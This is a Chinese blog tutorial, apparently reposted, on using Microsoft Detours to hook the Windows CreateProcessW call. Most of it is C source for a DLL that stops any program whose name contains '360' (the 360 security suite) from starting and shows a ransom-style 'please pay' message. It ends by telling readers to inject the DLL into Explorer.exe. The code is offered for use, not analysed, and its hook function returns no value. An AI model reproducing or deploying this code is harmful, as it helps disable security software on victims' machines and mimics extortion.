基于Detours劫持360启动

来源:互联网 发布:linux安全加固方案 编辑:程序博客网 时间:2024/05/21 04:40

.首先需要下载detours(百度或者google),这里我们下载的DetoursExpress30.msi

.安装detours 编译原代码

三.在VS2013 中找到Visual Studio Tools

四.以管理员的身份运行vs2013开发人员命令提示 ,切换到Detours的src目录输入nmake命令

五.编译成功后即可使用detours.lib 文件

六.劫持原理


劫持代码:(这里使用不是Debug,而是release)

#include<stdio.h>#include<Windows.h>#include<string.h>#include<stdlib.h>#include"detours.h"#pragma comment(lib,"detours.lib")//1.首先要定义函数指针获取你要劫持的函数地址//2.定义并实现自己劫持执行的函数,其参数要与被劫持的参数一样static BOOL(WINAPI *OldCreateProcess)(LPCTSTR lpApplicationName,LPTSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCTSTR lpCurrentDirectory,LPSTARTUPINFO lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation) = CreateProcessW; //要劫持创建进程函数,实现劫持创建进程//劫持后执行的函数,就是将CreateProcessW这个函数替换为newCreateProcess因此要求函数参数必须一样static BOOL WINAPI  newCreateProcess(LPCTSTR lpApplicationName,LPTSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCTSTR lpCurrentDirectory,LPSTARTUPINFO lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation){// 将wchar 转换为char *int num = WideCharToMultiByte(CP_OEMCP, NULL, lpApplicationName, -1, NULL, 0, NULL, FALSE);char *pchar = (char *)malloc(num);WideCharToMultiByte(CP_OEMCP, NULL, lpApplicationName, -1, pchar, num, NULL, FALSE);if (strstr(pchar, "360"))//过滤程序名,如果包含360 就劫持{MessageBoxA(0, "360禁止启动,请交费", "提示", MB_OK);}else{OldCreateProcess(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation);}free(pchar);//释放资源}//开始拦截void Hook(){DetourRestoreAfterWith();//恢复原来状态,DetourTransactionBegin();//拦截开始DetourUpdateThread(GetCurrentThread());//刷新当前线程//这里可以连续多次调用DetourAttach,表明HOOK多个函数//OldCreateProcess 要劫持的函数指针 newCreateProcess劫持后执行的函数,就是用newCreateProcess替换OldCreateProcessDetourAttach((void **)&OldCreateProcess, newCreateProcess);//实现函数拦截函数DetourTransactionCommit();//拦截生效}//取消拦截void UnHook(){DetourTransactionBegin();//拦截开始DetourUpdateThread(GetCurrentThread());//刷新当前线程//这里可以连续多次调用DetourDetach,表明撤销多个函数HOOKDetourDetach((void **)&OldCreateProcess, newCreateProcess); //撤销拦截函数DetourTransactionCommit();//拦截生效}__declspec(dllexport) void start_run()//导出dll{Hook();Sleep(300000/5);// 表示在系统中的时间UnHook();}

使用DllInject.exe 工具进行dll注射到Explorer 是桌面进程

点击360 运行程序
  



1 0